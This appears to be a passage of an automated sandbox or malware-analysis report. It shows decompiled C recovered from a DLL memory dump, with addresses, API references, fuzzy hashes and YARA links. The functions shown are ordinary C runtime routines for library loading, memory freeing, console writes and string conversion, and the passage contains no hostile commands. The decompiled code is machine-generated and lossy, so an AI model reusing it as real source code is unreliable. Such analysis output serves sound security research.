Instruction Fuzzy Hash: B841A734A12209EBCF00DFA9C8646AF7BB5AF66318F10C556E8149B351D733A961CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EF60262, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF60262(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x6ef9e350 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x6ef68ce8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E6EF5FE77(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E6EF5FE77(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x6ef6026b
0x6ef60315
0x6ef60273
0x6ef60275
0x6ef6027c
0x6ef6027e
0x6ef60284
0x6ef60291
0x6ef602a6
0x6ef602aa
0x6ef602fc
0x6ef602fc
0x6ef60301
0x6ef60305
0x6ef60308
0x6ef60308
0x6ef6030e
0x6ef60310
0x6ef60327
0x6ef60320
0x6ef60326
0x6ef60326
0x6ef60312
0x6ef60312
0x00000000
0x6ef60312
0x6ef602ac
0x6ef602b5
0x6ef602ec
0x6ef602ec
0x6ef602ee
0x6ef602f0
0x00000000
0x00000000
0x6ef602f8
0x00000000
0x6ef602f8
0x6ef602bf
0x6ef602c4
0x6ef602c9
0x00000000
0x00000000
0x6ef602d3
0x6ef602d8
0x6ef602dd
0x00000000
0x00000000
0x6ef602e2
0x6ef602e8
0x00000000
0x6ef602e8
0x6ef60289
0x00000000
0x00000000
0x00000000
0x6ef6028f
0x6ef6031e
0x00000000

Strings

api-ms-, xrefs: 6EF602B9
ext-ms-, xrefs: 6EF602CD

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cb9aefef45b2d5bcd058da68a3235c54ed9b5fed65582aab202e51152e9ca0e8
Instruction ID: 460e845ad6ff0fbaf8eeaf2e51d9c577fe0e66654c25e3ed94957a6f2d5291ce
Opcode Fuzzy Hash: cb9aefef45b2d5bcd058da68a3235c54ed9b5fed65582aab202e51152e9ca0e8
Instruction Fuzzy Hash: 2F215733B85225FBCB715AE98C60B5E3B68AF43760F300954EC25A7291FBB0DD0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF647A7, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF647A7(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E6EF6476F(_t45, 7);
					E6EF6476F(_t45 + 0x1c, 7);
					E6EF6476F(_t45 + 0x38, 0xc);
					E6EF6476F(_t45 + 0x68, 0xc);
					E6EF6476F(_t45 + 0x98, 2);
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0xa0)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0xa4)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0xa8)));
					E6EF6476F(_t45 + 0xb4, 7);
					E6EF6476F(_t45 + 0xd0, 7);
					E6EF6476F(_t45 + 0xec, 0xc);
					E6EF6476F(_t45 + 0x11c, 0xc);
					E6EF6476F(_t45 + 0x14c, 2);
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0x154)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0x158)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0x15c)));
					return E6EF5FEFF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x6ef647ad
0x6ef647b2
0x6ef647bb
0x6ef647c6
0x6ef647d1
0x6ef647dc
0x6ef647ea
0x6ef647f5
0x6ef64800
0x6ef6480b
0x6ef64819
0x6ef64827
0x6ef64838
0x6ef64846
0x6ef64854
0x6ef6485f
0x6ef6486a
0x6ef64875
0x00000000
0x6ef64885
0x6ef6488a

APIs

Part of subcall function 6EF6476F: _free.LIBCMT ref: 6EF64794

_free.LIBCMT ref: 6EF647F5

Part of subcall function 6EF5FEFF: HeapFree.KERNEL32(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF64800
_free.LIBCMT ref: 6EF6480B
_free.LIBCMT ref: 6EF6485F
_free.LIBCMT ref: 6EF6486A
_free.LIBCMT ref: 6EF64875
_free.LIBCMT ref: 6EF64880

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ef2c806dc7946e275d41aea7e72c5aba1546200829dff6b1409bfec46ce686fb
Instruction ID: 98f09c590ff90671cf282dd6672c447683a8ae673eeaead1269b412ad48a6a5d
Opcode Fuzzy Hash: ef2c806dc7946e275d41aea7e72c5aba1546200829dff6b1409bfec46ce686fb
Instruction Fuzzy Hash: E211B132540B44ABD920F7F0CC25FCB779EAF91704FA00C56B2996A251EB34B5115680

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6312B, Relevance: 9.3, APIs: 6, Instructions: 319
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EF6312B(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, signed int _a8, long _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				long _v40;
				long _v44;
				char _v47;
				void _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				long _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				void* _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				signed int _t172;
				signed int _t174;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				long _t202;
				void* _t206;
				intOrPtr _t212;
				signed char* _t213;
				char _t216;
				signed int _t219;
				char* _t220;
				void* _t222;
				long _t228;
				intOrPtr _t229;
				char _t231;
				long _t235;
				struct _OVERLAPPED* _t243;
				signed int _t246;
				intOrPtr _t249;
				signed int _t252;
				signed int _t253;
				signed int _t255;
				struct _OVERLAPPED* _t256;
				intOrPtr _t258;
				void* _t262;
				long _t263;
				signed char _t264;
				signed int _t265;
				void* _t266;
				void* _t268;
				struct _OVERLAPPED* _t269;
				long _t270;
				signed int _t271;
				long _t275;
				signed int _t278;
				long _t279;
				struct _OVERLAPPED* _t280;
				signed int _t282;
				intOrPtr _t284;
				signed int _t286;
				signed int _t289;
				long _t290;
				long _t291;
				signed int _t292;
				intOrPtr _t293;
				signed int _t294;
				void* _t295;
				void* _t296;

				_t172 =  *0x6ef8609c; // 0x1c6423b5
				_v8 = _t172 ^ _t294;
				_t174 = _a8;
				_t263 = _a12;
				_t282 = (_t174 & 0x0000003f) * 0x38;
				_t246 = _t174 >> 6;
				_v112 = _t263;
				_v84 = _t246;
				_v80 = _t282;
				_t284 = _a16 + _t263;
				_v116 =  *((intOrPtr*)(_t282 +  *((intOrPtr*)(0x6ef9e428 + _t246 * 4)) + 0x18));
				_v104 = _t284;
				_t178 = GetConsoleCP();
				_t243 = 0;
				_v124 = _t178;
				E6EF5EA98( &_v72, _t263, 0);
				asm("stosd");
				_t249 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t249;
				asm("stosd");
				asm("stosd");
				_t275 = _v112;
				_v40 = _t275;
				if(_t275 >= _t284) {
					L52:
					__eflags = _v60 - _t243;
				} else {
					_t286 = _v92;
					while(1) {
						_v47 =  *_t275;
						_v76 = _t243;
						_v44 = 1;
						_t186 =  *((intOrPtr*)(0x6ef9e428 + _v84 * 4));
						_v52 = _t186;
						if(_t249 != 0xfde9) {
							goto L23;
						}
						_t265 = _v80;
						_t212 = _t186 + 0x2e + _t265;
						_t256 = _t243;
						_v108 = _t212;
						while( *((intOrPtr*)(_t212 + _t256)) != _t243) {
							_t256 =  &(_t256->Internal);
							if(_t256 < 5) {
								continue;
							}
							break;
						}
						_t213 = _v40;
						_t278 = _v104 - _t213;
						_v44 = _t256;
						if(_t256 <= 0) {
							_t258 =  *((char*)(( *_t213 & 0x000000ff) + 0x6ef867f0)) + 1;
							_v52 = _t258;
							__eflags = _t258 - _t278;
							if(_t258 > _t278) {
								__eflags = _t278;
								if(_t278 <= 0) {
									goto L44;
								} else {
									_t290 = _v40;
									do {
										_t266 = _t265 + _t243;
										_t216 =  *((intOrPtr*)(_t243 + _t290));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t266 +  *((intOrPtr*)(0x6ef9e428 + _v84 * 4)) + 0x2e)) = _t216;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									goto L43;
								}
							} else {
								_t279 = _v40;
								__eflags = _t258 - 4;
								_v144 = _t243;
								_t260 =  &_v144;
								_v140 = _t243;
								_v56 = _t279;
								_t219 = (0 | _t258 == 0x00000004) + 1;
								__eflags = _t219;
								_push( &_v144);
								_v44 = _t219;
								_push(_t219);
								_t220 =  &_v56;
								goto L21;
							}
						} else {
							_t228 =  *((char*)(( *(_t265 + _v52 + 0x2e) & 0x000000ff) + 0x6ef867f0)) + 1;
							_v56 = _t228;
							_t229 = _t228 - _t256;
							_v52 = _t229;
							if(_t229 > _t278) {
								__eflags = _t278;
								if(_t278 > 0) {
									_t291 = _v40;
									do {
										_t268 = _t265 + _t243 + _t256;
										_t231 =  *((intOrPtr*)(_t243 + _t291));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t268 +  *((intOrPtr*)(0x6ef9e428 + _v84 * 4)) + 0x2e)) = _t231;
										_t256 = _v44;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									L43:
									_t286 = _v92;
								}
								L44:
								_t289 = _t286 + _t278;
								__eflags = _t289;
								L45:
								__eflags = _v60;
								_v92 = _t289;
							} else {
								_t269 = _t243;
								if(_t256 > 0) {
									_t293 = _v108;
									do {
										 *((char*)(_t294 + _t269 - 0xc)) =  *((intOrPtr*)(_t293 + _t269));
										_t269 =  &(_t269->Internal);
									} while (_t269 < _t256);
									_t229 = _v52;
								}
								_t279 = _v40;
								if(_t229 > 0) {
									E6EF5DD40( &_v16 + _t256, _t279, _v52);
									_t256 = _v44;
									_t295 = _t295 + 0xc;
								}
								if(_t256 > 0) {
									_t270 = _v44;
									_t280 = _t243;
									_t292 = _v80;
									do {
										_t262 = _t292 + _t280;
										_t280 =  &(_t280->Internal);
										 *(_t262 +  *((intOrPtr*)(0x6ef9e428 + _v84 * 4)) + 0x2e) = _t243;
									} while (_t280 < _t270);
									_t279 = _v40;
								}
								_v136 = _t243;
								_v120 =  &_v16;
								_t260 =  &_v136;
								_v132 = _t243;
								_push( &_v136);
								_t235 = (0 | _v56 == 0x00000004) + 1;
								_v44 = _t235;
								_push(_t235);
								_t220 =  &_v120;
								L21:
								_push(_t220);
								_push( &_v76);
								_t222 = E6EF64104(_t260);
								_t296 = _t295 + 0x10;
								if(_t222 == 0xffffffff) {
									goto L52;
								} else {
									_t275 = _t279 + _v52 - 1;
									L31:
									_t275 = _t275 + 1;
									_v40 = _t275;
									_t193 = E6EF627A9(_v124, _t243,  &_v76, _v44,  &_v32, 5, _t243, _t243);
									_t295 = _t296 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L52;
									} else {
										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t243) == 0) {
											L51:
											_v96 = GetLastError();
											goto L52;
										} else {
											_t286 = _v88 - _v112 + _t275;
											_v92 = _t286;
											if(_v100 < _v56) {
												goto L52;
											} else {
												if(_v47 != 0xa) {
													L38:
													if(_t275 >= _v104) {
														goto L52;
													} else {
														_t249 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v48 = _t198;
													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t243) == 0) {
														goto L51;
													} else {
														if(_v100 < 1) {
															goto L52;
														} else {
															_v88 = _v88 + 1;
															_t286 = _t286 + 1;
															_v92 = _t286;
															goto L38;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L53;
						L23:
						_t252 = _v80;
						_t264 =  *((intOrPtr*)(_t252 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t275;
							_t188 = E6EF62E16(_t264);
							_t253 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t253 * 2)) - _t243;
							if( *((intOrPtr*)(_t188 + _t253 * 2)) >= _t243) {
								_push(1);
								_push(_t275);
								goto L30;
							} else {
								_t202 = _t275 + 1;
								_v56 = _t202;
								__eflags = _t202 - _v104;
								if(_t202 >= _v104) {
									_t271 = _v84;
									_t255 = _v80;
									 *((char*)(_t255 +  *((intOrPtr*)(0x6ef9e428 + _t271 * 4)) + 0x2e)) = _v33;
									 *(_t255 +  *((intOrPtr*)(0x6ef9e428 + _t271 * 4)) + 0x2d) =  *(_t255 +  *((intOrPtr*)(0x6ef9e428 + _t271 * 4)) + 0x2d) | 0x00000004;
									_t289 = _t286 + 1;
									goto L45;
								} else {
									_t206 = E6EF60CDA( &_v76, _t275, 2);
									_t296 = _t295 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L52;
									} else {
										_t275 = _v56;
										goto L31;
									}
								}
							}
						} else {
							_v24 =  *((intOrPtr*)(_t252 + _t186 + 0x2e));
							_v23 =  *_t275;
							_push(2);
							 *(_t252 + _v52 + 0x2d) = _t264 & 0x000000fb;
							_push( &_v24);
							L30:
							_push( &_v76);
							_t190 = E6EF60CDA();
							_t296 = _t295 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L52;
							} else {
								goto L31;
							}
						}
						goto L53;
					}
				}
				L53:
				if(__eflags != 0) {
					_t183 = _v72;
					_t167 = _t183 + 0x350;
					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t167;
				}
				__eflags = _v8 ^ _t294;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6EF5C65E(_v8 ^ _t294);
			}

0x6ef63136
0x6ef6313d
0x6ef63140
0x6ef63145
0x6ef6314d
0x6ef63150
0x6ef63154
0x6ef63157
0x6ef63161
0x6ef6316b
0x6ef6316d
0x6ef63170
0x6ef63173
0x6ef63179
0x6ef6317b
0x6ef63182
0x6ef6318f
0x6ef63190
0x6ef63193
0x6ef63196
0x6ef63197
0x6ef63198
0x6ef6319b
0x6ef631a0
0x6ef634ac
0x6ef634ac
0x6ef631a6
0x6ef631a6
0x6ef631a9
0x6ef631ab
0x6ef631b1
0x6ef631b4
0x6ef631bb
0x6ef631c2
0x6ef631cb
0x00000000
0x00000000
0x6ef631d1
0x6ef631d7
0x6ef631d9
0x6ef631db
0x6ef631de
0x6ef631e3
0x6ef631e7
0x00000000
0x00000000
0x00000000
0x6ef631e7
0x6ef631ec
0x6ef631ef
0x6ef631f1
0x6ef631f6
0x6ef632a8
0x6ef632a9
0x6ef632ac
0x6ef632ae
0x6ef6345c
0x6ef6345e
0x00000000
0x6ef63460
0x6ef63460
0x6ef63463
0x6ef63466
0x6ef6346f
0x6ef63472
0x6ef63473
0x6ef63477
0x6ef6347a
0x6ef6347a
0x00000000
0x6ef6347e
0x6ef632b4
0x6ef632b4
0x6ef632b9
0x6ef632bc
0x6ef632c2
0x6ef632c8
0x6ef632d1
0x6ef632d4
0x6ef632d4
0x6ef632d5
0x6ef632d6
0x6ef632d9
0x6ef632da
0x00000000
0x6ef632da
0x6ef631fc
0x6ef6320b
0x6ef6320c
0x6ef6320f
0x6ef63211
0x6ef63216
0x6ef63427
0x6ef63429
0x6ef6342b
0x6ef6342e
0x6ef63433
0x6ef6343c
0x6ef6343f
0x6ef63440
0x6ef63444
0x6ef63447
0x6ef6344a
0x6ef6344a
0x6ef6344e
0x6ef6344e
0x6ef6344e
0x6ef63451
0x6ef63451
0x6ef63451
0x6ef63453
0x6ef63453
0x6ef63457
0x6ef6321c
0x6ef6321c
0x6ef63220
0x6ef63222
0x6ef63225
0x6ef63228
0x6ef6322c
0x6ef6322d
0x6ef63231
0x6ef63231
0x6ef63234
0x6ef63239
0x6ef63245
0x6ef6324a
0x6ef6324d
0x6ef6324d
0x6ef63252
0x6ef63254
0x6ef63257
0x6ef63259
0x6ef6325c
0x6ef6325f
0x6ef63262
0x6ef6326a
0x6ef6326e
0x6ef63272
0x6ef63272
0x6ef63278
0x6ef6327e
0x6ef63281
0x6ef63289
0x6ef63290
0x6ef63294
0x6ef63295
0x6ef63298
0x6ef63299
0x6ef632dd
0x6ef632dd
0x6ef632e1
0x6ef632e2
0x6ef632e7
0x6ef632ed
0x00000000
0x6ef632f3
0x6ef632f7
0x6ef63380
0x6ef63387
0x6ef6338f
0x6ef63397
0x6ef6339c
0x6ef6339f
0x6ef633a4
0x00000000
0x6ef633aa
0x6ef633bf
0x6ef634a3
0x6ef634a9
0x00000000
0x6ef633c5
0x6ef633ce
0x6ef633d0
0x6ef633d6
0x00000000
0x6ef633dc
0x6ef633e0
0x6ef63416
0x6ef63419
0x00000000
0x6ef6341f
0x6ef6341f
0x00000000
0x6ef6341f
0x6ef633e2
0x6ef633e4
0x6ef633e6
0x6ef633ff
0x00000000
0x6ef63405
0x6ef63409
0x00000000
0x6ef6340f
0x6ef6340f
0x6ef63412
0x6ef63413
0x00000000
0x6ef63413
0x6ef63409
0x6ef633ff
0x6ef633e0
0x6ef633d6
0x6ef633bf
0x6ef633a4
0x6ef632ed
0x6ef63216
0x00000000
0x6ef632fe
0x6ef632fe
0x6ef63301
0x6ef63305
0x6ef63308
0x6ef6332a
0x6ef6332d
0x6ef63332
0x6ef63336
0x6ef6333a
0x6ef63368
0x6ef6336a
0x00000000
0x6ef6333c
0x6ef6333c
0x6ef6333f
0x6ef63342
0x6ef63345
0x6ef63480
0x6ef63483
0x6ef63490
0x6ef6349b
0x6ef634a0
0x00000000
0x6ef6334b
0x6ef63352
0x6ef63357
0x6ef6335a
0x6ef6335d
0x00000000
0x6ef63363
0x6ef63363
0x00000000
0x6ef63363
0x6ef6335d
0x6ef63345
0x6ef6330a
0x6ef63311
0x6ef63316
0x6ef6331c
0x6ef6331e
0x6ef63325
0x6ef6336b
0x6ef6336e
0x6ef6336f
0x6ef63374
0x6ef63377
0x6ef6337a
0x00000000
0x00000000
0x00000000
0x00000000
0x6ef6337a
0x00000000
0x6ef63308
0x6ef631a9
0x6ef634af
0x6ef634af
0x6ef634b1
0x6ef634b4
0x6ef634b4
0x6ef634b4
0x6ef634b4
0x6ef634c6
0x6ef634c8
0x6ef634c9
0x6ef634ca
0x6ef634d6

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6EF63173
__fassign.LIBCMT ref: 6EF63352
__fassign.LIBCMT ref: 6EF6336F
WriteFile.KERNEL32(?,6EF607E3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EF633B7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EF633F7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EF634A3

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 2a54a949e87a1251cdeedfc95fa60c244aa0665da79d220c0606ecdf34af350c
Instruction ID: f3058b2a0ac2de89c5ae787b7f44405fccc3cebc5fe70e8da62ba861da3ee3c2
Opcode Fuzzy Hash: 2a54a949e87a1251cdeedfc95fa60c244aa0665da79d220c0606ecdf34af350c
Instruction Fuzzy Hash: 0BD1DA75D022599FDF01CFE8C8A4AEDFBB5BF89310F24416AE855BB241D731AA02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5D7C6, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EF5D7C6(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x6ef860c0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E6EF5DAD7(__eflags,  *0x6ef860c0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6EF5DB12(__eflags,  *0x6ef860c0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push(1);
								_t28 = E6EF5FE6C(_t16);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6EF5DB12(__eflags,  *0x6ef860c0, 0);
								} else {
									__eflags = E6EF5DB12(__eflags,  *0x6ef860c0, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6EF5E93F(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x6ef5d7cd
0x6ef5d7e0
0x6ef5d7e7
0x6ef5d7ea
0x6ef5d7ed
0x6ef5d806
0x6ef5d806
0x6ef5d7ef
0x6ef5d7ef
0x6ef5d7f1
0x6ef5d7fb
0x6ef5d801
0x6ef5d802
0x6ef5d804
0x6ef5d80b
0x6ef5d80d
0x6ef5d814
0x6ef5d818
0x6ef5d81a
0x6ef5d82e
0x6ef5d82e
0x6ef5d837
0x6ef5d81c
0x6ef5d82a
0x6ef5d82c
0x6ef5d840
0x6ef5d842
0x6ef5d842
0x00000000
0x00000000
0x00000000
0x6ef5d82c
0x6ef5d845
0x00000000
0x00000000
0x00000000
0x6ef5d804
0x6ef5d7f1
0x6ef5d84d
0x6ef5d857
0x6ef5d7cf
0x6ef5d7d1
0x6ef5d7d1

APIs

GetLastError.KERNEL32(00000001,?,6EF5D578,6EF5CC5A,6EF5C7BB,?,6EF5C9D8,?,00000001,?,?,00000001,?,6EF84F78,0000000C,6EF5CACC), ref: 6EF5D7D4
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EF5D7E2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EF5D7FB
SetLastError.KERNEL32(00000000,6EF5C9D8,?,00000001,?,?,00000001,?,6EF84F78,0000000C,6EF5CACC,?,00000001,?), ref: 6EF5D84D

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ac36ae8500e8344871b0abe0cc4e80d519cc7396cf1a47ddaf01bc5c8604b38a
Instruction ID: 30756733585866e9c70bdcef258f1d13c131bd2f446b3b45e5569e9c50f67a22
Opcode Fuzzy Hash: ac36ae8500e8344871b0abe0cc4e80d519cc7396cf1a47ddaf01bc5c8604b38a
Instruction Fuzzy Hash: 1201D63223AA116F9B4026E96C65B573A6CDFB3379B20022AF110462D0EB1348219B44

Uniqueness

Uniqueness Score: -1.00%

Function 6EF61D1D, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF61D1D(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E6EF627A9(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E6EF627A9(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E6EF6016E(GetLastError());
									_t17 =  *((intOrPtr*)(E6EF601A4(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E6EF61DE4(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6EF6016E(GetLastError());
						_t17 =  *((intOrPtr*)(E6EF601A4(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E6EF61DE4(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6EF61E0B(_a8);
				return 0;
			}

0x6ef61d23
0x6ef61d28
0x6ef61d3c
0x6ef61d3f
0x6ef61d71
0x6ef61d79
0x6ef61d7b
0x6ef61d94
0x6ef61d97
0x6ef61d9a
0x6ef61da8
0x6ef61db7
0x6ef61dbf
0x6ef61dc1
0x6ef61dda
0x6ef61ddd
0x6ef61ddd
0x6ef61dc3
0x6ef61dca
0x6ef61dd5
0x6ef61dd5
0x6ef61ddf
0x6ef61de0
0x00000000
0x6ef61de0
0x6ef61d9f
0x6ef61da4
0x6ef61da6
